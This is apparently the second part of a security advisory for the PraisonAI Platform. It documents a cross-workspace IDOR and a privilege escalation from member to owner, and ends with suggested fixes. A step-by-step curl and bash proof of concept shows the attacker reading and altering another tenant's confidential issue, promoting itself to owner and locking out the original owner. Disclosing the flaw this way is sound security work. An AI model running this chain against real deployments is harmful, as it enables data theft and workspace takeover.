Advisory

GHSA-gv23-xrm3-8c62

Details, part 2 of 2. The advisory

Details

PoC

Prerequisites:

  • A running PraisonAI Platform instance with default configuration
  • No special configuration required

Server setup:

cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai_platform.api.app:create_app \
  --factory --host 127.0.0.1 --port 8000

Scenario: Full attack chain (IDOR + Privilege Escalation)

Step 1: Victim (CEO) creates workspace with sensitive data

BASE="http://127.0.0.1:8000/api/v1"

# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

# CEO creates workspace with confidential issue
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"name":"Executive Board"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM_WS"
echo "Secret issue: $ISSUE_ID"

Step 2: Attacker registers and creates their own workspace

ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"name":"Attacker WS"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace

curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output (HTTP 200):

{
  "id": "<ISSUE_ID>",
  "workspace_id": "<VICTIM_WS>",
  "title": "M&A Target List",
  "description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
  "status": "backlog"
}

The response contains the victim's workspace_id, which is different from the workspace in the request URL. The request was scoped to $ATK_WS but returned data from $VICTIM_WS.

Step 4: IDOR - Attacker modifies victim's issue

curl -sfL -X PATCH "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"title":"TAMPERED - M&A Target List"}'

Observed output (HTTP 200): Title updated across workspace boundary.

Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)

curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d "{\"user_id\":\"$ATK_ID\",\"role\":\"member\"}" > /dev/null

Step 6: Privilege escalation - Member promotes self to owner

PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"

Observed output:

Role: owner

The member used their own member-level token to promote themselves to owner.

Step 7: Privilege escalation - Attacker removes original owner

curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
  "$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output: HTTP 204 - CEO removed from their own workspace.

Step 8: Verify - Attacker is sole owner

curl -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output:

[
  {
    "workspace_id": "<VICTIM_WS>",
    "user_id": "<ATK_ID>",
    "role": "owner"
  }
]

The CEO is locked out. The attacker is now the sole owner of "Executive Board" and all its data.

Impact

  • Complete multi-tenant data breach: Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (/workspaces/{workspace_id}/...) implies tenant isolation but provides none.
  • Cross-workspace data tampering: An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.
  • Cross-workspace data deletion: An attacker can delete issues and projects belonging to other workspaces.
  • Workspace takeover from member role: Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.
  • No recovery mechanism: After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.
  • Chain amplifies impact: The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.

---

Suggested Fix

1. Scope all service get/update/delete methods to workspace_id

# issue_service.py, replace get() at line 72:
async def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:
    """Get issue by ID, scoped to workspace."""
    issue = await self._session.get(Issue, issue_id)
    if issue is None or issue.workspace_id != workspace_id:
        return None
    return issue

# Apply the same pattern to update(), delete(), and all ProjectService methods

2. Pass workspace_id from routes to services

# issues.py, fix get_issue at line 82:
issue = await svc.get(issue_id, workspace_id)  # Now workspace-scoped

3. Require owner role for member management and add escalation guards

# workspaces.py, fix update_member_role:
user: AuthIdentity = Depends(
    lambda **kw: require_workspace_member(**kw, min_role="owner")
)

# Add self-modification and last-owner guards:
if user_id == user.id:
    raise HTTPException(403, "Cannot change your own role")

# Fix remove_member:
target = await member_svc.get(workspace_id, user_id)
if target and target.role == "owner":
    owners = [m for m in await member_svc.list_members(workspace_id) if m.role == "owner"]
    if len(owners) <= 1:
        raise HTTPException(403, "Cannot remove the last owner")

Sources & licences